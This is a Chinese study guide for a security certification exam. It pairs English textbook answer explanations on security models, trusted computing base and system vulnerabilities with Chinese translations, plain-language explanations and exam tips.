最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Minimum level、mandatory requirement 常对应 standard。

加密保护机密性,哈希保护完整性,数字签名支持完整性、真实性和不可否认性。

哈希本身不提供机密性;它主要用于完整性校验。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
加密 加密把内容变成未授权者看不懂的形式。
标准 标准给出必须满足的最低要求。
密码学 密码学用数学方法保护信息,常用于机密性、完整性、认证和不可否认性。
哈希 哈希把任意长度数据变成固定长度摘要,用于校验是否被改过。
数字证书 数字证书把身份和公钥绑定起来,由可信 CA 签发。
多因素认证 MFA 使用至少两类不同认证因素,提高认证可信度。
学习单元 96 / PDF P1490

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

Chapter 8: Principles of Security Models, Design, and Capabilities 1. C. A closed system is one that uses largely proprietary or unpublished protocols and standards. Options A and D do not describe any particular systems, and option B describes an open system. 2. D. The most likely reason the attacker was able to gain access to the baby monitor was through exploitation of default configuration. Since there is no mention of the exact means used by the attacker in the question, and there is no discussion of any actions of installation, configuration, or security implementation, the only remaining option is to consider the defaults of the device.

This is an unfortunately common issue with any device, but especially with IoT equipment connected to Wi-Fi networks. Unless malware was used in the attack, a malware scanner would not be relevant to this situation. This scenario did not mention malware. This type of attack is possible over any network type and all Wi-Fi frequency options. This scenario did not discuss frequencies or network types. There was no mention of any interaction with the parents, which was not required with a device using its default configuration. 3. B. The Blue Screen of Death (BSoD) stops all processing when a critical failure occurs in Windows. This is an example of a fail-secure approach.

The BSoD is not an example of a fail-open approach; a fail-open event would have required the system to continue to operate in spite of the error. A fail-open result would have protected availability, but typically by sacrificing confidentiality and integrity protections. This is not an example of a limit check, which is the verification that input is within a preset range or domain. Object-oriented is a type of programming approach, not a means of handling software failure. 4. C. A constrained process is one that can access only certain memory locations. Allowing a process to run for a limited time is a time limit or timeout restriction, not a confinement.

Allowing a process to run only during certain times of the day is a scheduling limit, not a confinement. A process that controls access to an object is authorization, not confinement. 5. D. Declassification is the process of moving an object into a lower level of classification once it is determined that it no longer justifies being placed at a higher level. Only a trusted subject can perform declassification

中文直译 / 整理

第8章:安全模型、设计与能力的原则 1. C. 封闭系统是指主要使用专有或未公开协议和标准的系统。 选项A和D并 未描述任何特定系统,选项B描述的是开放系统。 2. D. 攻击者最有可能通过利用默认配置获得对婴儿监视器的访问权限。 由于 问题中未提及攻击者使用的具体手段,也未讨论任何安装、配置或安全实施 行为,因此唯一剩下的可能性是考虑设备的默认设置。 这是任何设备都可能 遇到的不幸常见问题,尤其对于连接到Wi‑Fi网络的物联网设备而言。 除非 攻击中使用了恶意软件,否则恶意软件扫描器在此情境下并不相关。 本场景 未提及恶意软件。 此类攻击可在任何网络类型和所有Wi‑Fi频段上发生,但 本场景并未讨论频段或网络类型。 也未提及与父母的任何互动,而使用默认 配置的设备无需此类互动。 3. B. 蓝屏死机(BSoD)在 Windows 发生严重故障时会停止所有处理。 这 是故障安全方法的一个示例。 BSoD 不是故障开放方法的示例; 故障开放事 件要求系统在出现错误时仍继续运行。 故障开放结果会保护可用性,但通常 以牺牲机密性和完整性保护为代价。 这也不是限制检查的示例,限制检查是 验证输入是否在预设范围或域内。

面向对象是一种编程方法,而非处理软件 故障的手段。 4. C. 受限进程是指只能访问特定内存位置的进程。 允许进程运行有限时间 是时间限制或超时限制,而非隔离。 允许进程仅在一天中的特定时间运行 是调度限制,而非隔离。 控制对对象访问的进程是授权,而非隔离。 5. D. 解密是将对象移至较低保密级别的一种过程,一旦确定其不再需要保持 在较高保密级别时即执行此操作。 只有受信任的主体才能执行解密。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

可用性:可用性保证授权用户需要时能及时使用系统和数据。

授权:授权是认证之后决定你能访问什么、能做什么。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

冗余、备份、BCP/DRP、抗 DoS、容量规划都对应可用性。

认证成功不等于什么都能做;权限仍要单独授权。

Minimum level、mandatory requirement 常对应 standard。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
可用性 可用性保证授权用户需要时能及时使用系统和数据。
授权 授权是认证之后决定你能访问什么、能做什么。
标准 标准给出必须满足的最低要求。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 97 / PDF P1491

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

because this action is a violation of the verbiage of the star property of Bell–LaPadula, but not the spirit or intent, which is to prevent unauthorized disclosure. Perturbation is the use of false or misleading data in a database management system to redirect or thwart information confidentiality attacks. Noninterference is the concept of limiting the actions of a subject at a higher security level so they do not affect the system state or the actions of a subject at a lower security level. If noninterference was being enforced, the writing of a file to a lower level would be prohibited.

Aggregation is the act of collecting multiple pieces of nonsensitive or low-value information and combining it or aggregating it to learn sensitive or high-value information. 6. B. An access control matrix assembles ACLs from multiple objects into a single table. The rows of that table are the ACEs of a subject across those objects; thus, they are a capabilities list. Separation of duties is the division of administrative tasks into compartments or silos; it is effectively the application of the principle of least privilege to administrators. Biba is a security model that focuses on integrity protection across security levels.

Clark–Wilson is a security model that protects integrity using an access control triplet. 7. C. The trusted computing base (TCB) has a component known as the reference monitor in theory, which becomes the security kernel in implementation. The other options do not have this feature. The information flow model is focused on the control of information movement. The Biba model is focused on protecting integrity across a lattice security structure. The Brewer and Nash model was created to permit access controls to change dynamically based on a user's previous activity. 8. C.

The three parts of the Clark–Wilson model's access control relationship (aka access triple) are subject, object, and program (or interface). Input sanitization is not an element of the Clark–Wilson model. 9. C. The TCB is the combination of hardware, software, and controls that work together to enforce a security policy. The other options are incorrect. Hosts on a network that support secure transmissions may be able to support VPN connections, use TLS encryption, or implement some other form of data-in-transit protection mechanism. The operating system kernel, other OS components, and device drivers are located in

中文直译 / 整理

因为此操作违反了Bell–LaPadula星属性的字面表述,但并未违背其精神 或意图,即防止未经授权的披露。 扰动是指在数据库管理系统中使用虚假 或误导性数据,以转移或阻止信息保密攻击。 非干扰是指限制较高安全级 别主体的行为,使其不影响系统状态或较低安全级别主体的行为。 如果强 制执行非干扰,则禁止将文件写入较低级别。 聚合是指收集多个不敏感或 低价值信息片段,并将其合并或聚合,以获取敏感或高价值信息。 6. B. 访问控制矩阵将多个对象的ACL汇总到一个表格中。 该表格的行是主体 在这些对象上的ACE,因此它们是一个能力列表。 职责分离是将管理任务划 分为独立的模块或孤岛; 这实际上是将最小权限原则应用于管理员。 Biba 是 一个专注于跨安全级别保护完整性的安全模型。 Clark–Wilson 是一个使用 访问控制三元组保护完整性的安全模型。 7. C. 可信计算基(TCB)在理论上包含一个称为参考监视器的组件,在实 现中则称为安全内核。 其他选项不具备此特性。 信息流模型专注于控制信 息的流动。 Biba 模型专注于在格状安全结构中保护完整性。 Brewer 和 Nash 模型旨在根据用户的先前活动动态更改访问控制。

8. C. Clark–Wilson 模型的访问控制关系(又称访问三元组)的三个部分是 主体、对象和程序(或 interface)。 输入清理不是克拉克‑威尔逊模型的组成部分。 9. C. TCB 是硬件、软件和控制措施的组合,它们协同工作以强制执行安全 策略。 其他选项均不正确。 支持安全传输的网络主机可能能够支持 VPN 连 接、使用 TLS 加密,或实现某种其他形式的数据传输保护机制。 操作系统内 核、其他操作系统组件和设备驱动程序位于

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

授权:授权是认证之后决定你能访问什么、能做什么。

加密:加密把内容变成未授权者看不懂的形式。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

认证成功不等于什么都能做;权限仍要单独授权。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
授权 授权是认证之后决定你能访问什么、能做什么。
加密 加密把内容变成未授权者看不懂的形式。
NIST NIST 提供美国常用安全标准、框架和指南。
政策 政策是高层原则,说明必须遵守什么。
程序 程序是一步一步怎么做。
虚拟专用网络 VPN VPN 在不可信网络上建立加密隧道。
学习单元 98 / PDF P1492

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

Rings 0–2 of the protection rings concept, or in the Kernel Mode ring in the variation used by Microsoft Windows (see Chapter 9). The predetermined set or domain (i.e., a list) of objects that a subject can access is an allow list. 10. A, B. Although the most correct answer in the context of this chapter is option B, the imaginary boundary that separates the TCB from the rest of the system, option A, the boundary of the physically secure area surrounding your system, is also a correct answer in the context of physical security. The network where your firewall resides is not a unique concept or term, since a firewall can exist in any network as either a hardware device or a software service.

A border firewall could be considered a security perimeter protection device, but that was not a provided option. Any connections to your computer system are just pathways of communication to a system's interface—they are not labeled as a security perimeter. 11. C. The reference monitor validates access to every resource prior to granting the requested access. The other options are incorrect. Option D, the security kernel, is the collection of TCB components that work together to implement the reference monitor functions. In other words, the security kernel is the implementation of the reference monitor concept.

Option A, a TCB partition, and option B, a trusted library, are not valid TCB concept components. 12. B. Option B is the only option that correctly defines a security model. The other options are incorrect. Option A is a definition of a security policy. Option C is a formal evaluation of the security of a system. Option D is the definition of virtualization. 13. D. The Bell–LaPadula and Biba models are built on the state machine model. Take-Grant and Clark–Wilson are not directly based or built on the state machine model. 14. A. Only the Bell–LaPadula model addresses data confidentiality. The Biba and Clark–Wilson models address data integrity.

The Brewer and Nash model prevents conflicts of interest. 15. C. The no read-up property, also called the simple security property, prohibits subjects from reading a higher security level object. The other options are incorrect. Option A, the (star) security property of Bell– LaPadula, is no write-down. Option B, no write-up, is the (star) property of Biba. Option D, no read-down, is the simple property of Biba.

中文直译 / 整理

保护环概念中的环0–2,或在微软Windows使用的变体中的内核模式环 (见第9章)。 主体可访问的预定义对象集或域(即列表)称为允许列表。 10. A、B。 尽管在本章的上下文中,最正确的答案是选项B,即区分TCB与系 统其余部分的虚拟边界; 但在物理安全的上下文中,选项A——围绕您系统的 物理安全区域的边界——也是一个正确的答案。 防火墙所在的网络不是一个独 特的概念或术语,因为防火墙可以作为硬件设备或软件服务存在于任何网络中。 边界防火墙可被视为一种安全边界防护设备,但该选项并未提供。 任何与您计 算机系统的连接都只是通往系统接口的通信路径——它们并不被称为安全边界。 11. C。 参考监视器在授予所请求的访问权限之前,会验证对每个资源的访问。 其他选项均不正确。 选项D,安全内核,是协同实现参考监视器功能的TCB组 件集合。 换句话说,安全内核是参考监视器概念的实现。 选项A,TCB分区, 和选项B,可信库,都不是有效的TCB概念组件。 12. B. 选项 B 是唯一正确定义安全模型的选项。 其他选项均不正确。 选项 A 是安全策 略的定义。 选项 C 是对系统安全性的正式评估。 选项 D 是虚拟化的定义。

13. D. Bell–LaPadula 模型和 Biba 模型基于状态机模型构建。 Take‑Grant 和 Clark–Wilson 模型并非直接基于或构建于状态机模型。 14. A. 仅有 Bell–LaPadula 模型涉及数据机密性。 Biba 模型和 Clark– Wilson 模型涉及数据完整性。 Brewer 和 Nash 模型防止利益冲突。 15. C. 不可上读属性,也称为简单安全属性,禁止主体读取更高安全级别的 对象。 其他选项均不正确。 选项 A,Bell–LaPadula 的(星)安全属性是不 可下写。 选项 B,不可上写是 Biba 的(星)属性。 选项 D,不可下读是 Biba 的简单属性。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

安全边界:安全边界是不同信任级别或安全要求交接的位置。

政策:政策是高层原则,说明必须遵守什么。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

内网/外网、DMZ/内网、不同分类级别之间都是常见边界。

Policy 高层、强制、稳定;Procedure 具体步骤。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
安全边界 安全边界是不同信任级别或安全要求交接的位置。
政策 政策是高层原则,说明必须遵守什么。
防火墙 防火墙根据规则控制网络流量进出。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
学习单元 99 / PDF P1493

完整性:数据要正确、可信、未被乱改

完整性不只是防黑客篡改,也包括防授权用户误操作。

教材原文段落

16. B. The simple property of Biba is no read-down, but the implied allowed opposite is read-up. The other options are incorrect. Option A, writedown, is the implied opposite allow of the (star) property of Biba, which is no write-up. Option C, no write-up, is the (star) property of Biba. Option D, no read-down, is the simple property of Biba. 17. D. Security targets (STs) specify the vendor's security claims that are built into a target of evaluation (TOE). STs are considered the implemented security measures or the “I will provide” from the vendor. The other options are incorrect.

Option A, protection profiles (PPs), specify the security requirements and protections for a product that is to be evaluated (the TOE), which are considered the security desires or the “I want” from a customer. Option B, evaluation assurance levels (EALs), are the various levels of testing and confirmation of systems' security capabilities, and the number of the level indicates what kind of testing and confirmation has been performed. Option C, an authorizing official (AO), is the entity with the authority to issue an authorization to operate (ATO). 18. A, C, E.

The four types of ATOs are authorization to operate (not listed as an option), common control authorization, authorization to use, and denial of authorization. The other options are incorrect. 19. B. Memory protection is a core security component that must be designed and implemented into an operating system. It must be enforced regardless of the programs executing in the system. Otherwise, instability, violation of integrity, denial of service, and disclosure are likely results. The other options are incorrect. Option A, the use of virtualization, would not cause all of those security issues.

Option C, the Clark–Wilson model based on the access control triplet is about protecting integrity through a restricted interface, and thus is not the cause of the issues of this scenario. Option D, the use of encryption, is a protection, not a cause of these security issues. 20. A. A constrained or restricted interface is implemented within an application to restrict what users can do or see based on their privileges. The purpose of a constrained interface is to limit or restrict the actions of both authorized and unauthorized users. The other options are incorrect. Option B describes authentication. Option C describes auditing and accounting. Option D describes virtual memory. 16. B. Biba

中文直译 / 整理

模型的简单属性是不可下读,但其隐含允许的相反操作是可上读。 其他选项均不正确。 选项 A,写入下,是 Biba 模型(星)属性的隐含允许 操作,该属性为不可上写。 选项 C,不可上写,是 Biba 模型的(星)属性。 选项 D,不可下读,是 Biba 模型的简单属性。 17. D. 安全目标(STs)规定了供应商在评估目标(TOE)中实现的安全声明。 STs 被视为供应商所实施的安全措施或“我将提供”的内容。 其他选项均不 正确。 选项 A,保护轮廓(PPs)规定了待评估产品(即 TOE)的安全需求 和保护措施,被视为客户所期望的“我想要”的内容。 选项 B,评估保证等 级(EALs)是系统安全能力测试与确认的不同等级,等级数字表明已执行的 测试与确认类型。 选项 C,授权官员(AO)是具有权限颁发运行授权( ATO)的实体。 18. A、C、E。 ATO的四种类型包括操作授权(未列为选项)、通用控制授权、 使用授权和拒绝授权。 其他选项均不正确。 19. B。 内存保护是必须在操作系统中设计和实现的核心安全组件。 无论系统 中运行的是什么程序,都必须强制执行内存保护。

否则,很可能导致系统不稳 定、完整性被破坏、拒绝服务和信息泄露。 其他选项均不正确。 选项A,虚拟 化的使用,不会导致所有这些安全问题。 选项C,基于访问控制三元组的 Clark–Wilson模型,是通过受限接口保护完整性,因此并非本场景中问题的 原因。 选项D,加密的使用是一种保护措施,而非导致这些安全问题的原因。 20. A。 受限接口或约束接口在应用程序中实现,用于根据用户的权限限制其 可执行或可见的操作。 受限接口的目的是限制授权用户和非授权用户的操作。 其他选项均不正确。 选项B描述的是身份验证。 选项C描述的是审计和记账。 选项D描述的是虚拟内存。

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:完整性不只是防黑客篡改,也包括防授权用户误操作。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

认证:认证是验证“你是不是你声称的那个人”。

授权:授权是认证之后决定你能访问什么、能做什么。

审计:审计记录主体行为,用于追责、复盘和取证。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“完整性:数据要正确、可信、未被乱改”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

哈希、数字签名、变更控制、输入校验常对应完整性。

密码、令牌、生物特征、多因素认证都服务认证。

认证成功不等于什么都能做;权限仍要单独授权。

没有日志和身份绑定,就很难问责。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
认证 认证是验证“你是不是你声称的那个人”。
授权 授权是认证之后决定你能访问什么、能做什么。
审计 审计记录主体行为,用于追责、复盘和取证。
加密 加密把内容变成未授权者看不懂的形式。
运行授权 ATO ATO 表示系统被授权在特定条件下运行。文档不足可能导致 ATO 丢失。
程序 程序是一步一步怎么做。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
学习单元 100 / PDF P1494

保护机制:分层、隐藏、加密和边界

单一控制不够,安全靠多个机制配合。

教材原文段落

Chapter 9: Security Vulnerabilities, Threats, and Countermeasures 1. A, C, D, F. The statements in options A, C, D, and F are all valid elements or considerations of shared responsibility. The other options are incorrect. Always consider the threat to both tangible and intangible assets as a tenet of risk management and BIA. Multiple layers of security are required to protect against adversary attempts to gain access to internal sensitive resources and is a general principle of security known as defense in depth. 2. C. Multitasking is processing more than one task at the same time.

In most cases, multitasking is simulated by the OS (using multiprogramming or pseudo-simultaneous execution) even when not supported by the processor. Multicore (not listed as an option) is also able to perform simultaneous execution but does so with multiple execution cores on one or more CPUs. Multistate is a type of system that can operate at various security levels (or classifications, risk levels, etc.). Multithreading permits multiple concurrent tasks (i.e., threads) to be performed within a single process.

In a multiprocessing environment, a multiprocessor computing system (that is, one with more than one CPU) harnesses the power of more than one processor to complete the execution of a multithreaded application. 3. C. JavaScript remains the one mobile code technology that may affect the security of modern browsers and their host OSs. Java is deprecated for general internet use, and browsers do not have native support for Java. A Java add-on is still available to install, but it is not preinstalled, and general security guidance recommends avoiding it on any internet-facing browser. Flash is deprecated; no modern browser supports it natively.

Adobe has abandoned it, and most browsers actively block the add-on. ActiveX is also deprecated, and though it was always only a Microsoft Windows technology, it was only supported by Internet Explorer, not Edge (either in its original form or the more recent Chromium-based version). Although Internet Explorer was present on the original Windows 10, this scenario stated that all other browsers were deactivated or blocked. Thus, this scenario is limited to the latest Edge browser. This question assumes you understand the latest version of Windows is Windows 11 and the latest version of Microsoft's browser is Edge (as of Q1 2024).

中文直译 / 整理

第9章:安全漏洞、威胁与应对措施 1. A、C、D、F。 选项A、C、D和F中的陈述均为共享责任的有效要素或考 量因素。 其他选项均不正确。 在风险管理与BIA中,始终应将对有形和无形 资产的威胁视为基本原则。 为防范攻击者试图访问内部敏感资源,需要多层 安全防护,这是被称为纵深防御的安全通用原则。 2. C。 多任务处理是指同时处理多个任务。 在大多数情况下,即使处理器不 支持,操作系统也会通过多道程序设计或伪并行执行来模拟多任务处理。 多 核(未作为选项列出)也能实现并行执行,但它是通过一个或多个CPU上的 多个执行核心来完成的。 多状态是一种能够在不同安全级别(或分类、风险 级别等)下运行的系统类型。 多线程允许在单个进程中执行多个并发任务 (即线程)。 在多处理环境中,多处理器计算系统(即具有多个CPU的系统) 利用多个处理器的算力来完成多线程应用程序的执行。 3. C. JavaScript 是唯一可能影响现代浏览器及其宿主操作系统安全性的移动 代码技术。 Java 已被弃用,不再适用于常规互联网使用,且浏览器不再原生 支持 Java。

尽管仍可安装 Java 插件,但其并非预装,且通用安全建议推荐 在任何面向互联网的浏览器上避免使用。 Flash 已被弃用; 现代浏览器均不 原生支持它。 Adobe 已放弃该技术,且大多数浏览器会主动阻止该插件。 ActiveX 同样已被弃用,尽管它始终仅为 Microsoft Windows 技术,且仅 由 Internet Explorer 支持,而 Edge(无论是原始版本还是近期基于 Chromium 的版本)均不支持。 虽然 Internet Explorer 曾存在于最初的 Windows 10 中,但本场景说明所有其他浏览器均已被停用或阻止。 因此, 本场景仅限于最新的 Edge 浏览器。 本题假设您了解截至 2024 年第一季度, Windows 的最新版本为 Windows 11,微软浏览器的最新版本为 Edge。

小白解释

场景先行:凌晨监控告警:某台服务器开始大量外连。你不能先忙着写报告,也不能直接关全网。事件响应要按顺序做:确认、遏制、根除、恢复、复盘。

这一页真正想让你理解的是:单一控制不够,安全靠多个机制配合。

把它放进公司里看,关键不是背定义,而是判断:步骤乱了会扩大损失,或者破坏证据。

你作为负责人可以这样想:先保全证据和控制影响,再清除原因并恢复业务。

本页术语用人话说:

纵深防御:纵深防御不是一道门,而是一层又一层控制。

程序:程序是一步一步怎么做。

资产:资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。

日志:日志记录系统和用户活动,用于监控、审计和调查。

常见误区:不要一上来就删除文件或重装系统;可能会破坏调查证据。

读完后用一句话复述:如果我是事件响应负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“保护机制:分层、隐藏、加密和边界”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是事件响应负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

多层控制串联、避免单点失败,就是 defense in depth。

Step-by-step、SOP 常对应 procedure。

资产安全题先问资产是谁拥有、如何分类、谁负责保护。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要一上来就删除文件或重装系统;可能会破坏调查证据。

本页术语拆解
纵深防御 纵深防御不是一道门,而是一层又一层控制。
程序 程序是一步一步怎么做。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 101 / PDF P1495

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

4. A. In many grid computing implementations, grid members can access the contents of the distributed work segments or divisions. This grid computing over the Internet is not usually the best platform for sensitive operations. Grid computing is able to handle and compensate for latency of communications, duplicate work, and capacity fluctuation. 5. B. Option B references a VDI or VMI instance that serves as a virtual endpoint for accessing cloud assets and services, but this concept is not specifically relevant to or a requirement of this scenario. The remaining items are relevant to the selection process in this scenario. These are all compute security–related concepts.

Option A, security groups, are collections of entities, typically users, but can also be applications and devices, which can be granted or denied access to perform specific tasks or access certain resources or assets. This supports the requirement of controlling which applications can access which assets. Option C, dynamic resource allocation (aka elasticity), is the ability of a cloud process to use or consume more resources (such as compute, memory, storage, or networking) when needed. This supports the requirement of processing significant amounts of data in short periods of time.

Option D is a management or security mechanism, which is able to monitor and differentiate between numerous instances of the same VM, service, app, or resource. This supports the requirement of prohibiting VM sprawl or repetition of operations. 6. D. A large utility company is very likely to be using supervisory control and data acquisition (SCADA) to manage and operate their equipment; therefore, that is the system that the APT group would have compromised. A multifunction printer (MFP) is not likely to be the attack point that granted the APT group access to the utility distribution nodes.

A real-time OS (RTOS) may have been present on some of the utility company's systems, but that is not the obvious target for an attack to take over control of an entire utility service. There may be system on chip (SoC) equipment present at the utility, but that would still be controlled and accessed through the SCADA system at a utility company. 7. C. Secondary memory is a term used to describe magnetic, optical, or flash media (i.e., typical storage devices like HDD, SSD, CD, DVD, and thumb drives). These devices will retain their contents after being removed from the computer and may later be read by another user.

Static RAM and dynamic RAM are types of real memory and thus are all the same concept in relation to being volatile—meaning they lose any data 4. A.

中文直译 / 整理

在许多网格计算实现中,网格成员可以访问分布式工作段或分区的内容。 通过互联网进行的网格计算通常不是敏感操作的最佳平台。 网格计算能够处 理并补偿通信延迟、重复工作和容量波动。 5. B. 选项 B 引用了一个 VDI 或 VMI 实例,该实例作为访问云资产和服务的 虚拟端点,但此概念与此场景并非特定相关或为必需。 其余选项均与此场景 的选择过程相关。 这些均为与计算安全相关的概念。 选项 A,安全组,是实 体的集合,通常是用户,但也可能是应用程序和设备,可以被授予或拒绝执 行特定任务或访问特定资源或资产的权限。 这支持了控制哪些应用程序可以 访问哪些资产的要求。 选项 C,动态资源分配(又称弹性),是指云进程在 需要时能够使用或消耗更多资源(如计算、内存、存储或网络)的能力。 这 支持了在短时间内处理大量数据的要求。 选项 D 是一种管理或安全机制,能 够监控并区分同一虚拟机、服务、应用程序或资源的多个实例。 这支持了禁 止虚拟机蔓延或操作重复的要求。 6. D. 一家大型公用事业公司很可能使用 supervisory control and data acquisition (SCADA) 系统来管理和操作其设备;

因此,APT 组织所入侵的 正是该系统。 多功能打印机(MFP)不太可能是 APT 组织用来访问公用事 业分配节点的攻击入口。 实时操作系统(RTOS)可能存在于该公用事业公 司的某些系统中,但这并非攻击以控制整个公用事业服务的明显目标。 公用 事业公司中可能存在系统级芯片(SoC)设备,但这些设备仍需通过 SCADA 系统进行控制和访问。 7. C. 辅助存储器是用来描述磁性、光学或闪存介质(例如常见的存储设备如 HDD、SSD、CD、DVD 和 U 盘)的术语。 这些设备在从计算机中移除后仍 能保留其内容,并可由其他用户随后读取。 静态 RAM 和动态 RAM 是主存 的类型,因此在易失性方面属于同一概念——即它们会丢失所有数据。

小白解释

场景先行:机房断电,业务部门问多久能恢复、最多会丢多少数据。BCP/DRP 不是背缩写,而是把业务能承受的中断时间和数据损失说清楚。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:只做备份但没测试,真正灾难时可能恢复不了。

你作为负责人可以这样想:先做业务影响分析,再定 RTO/RPO,最后设计备份、冗余和演练。

本页术语用人话说:

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

程序:程序是一步一步怎么做。

资产:资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。

恢复时间目标 RTO:RTO 是业务或系统最多能中断多久。

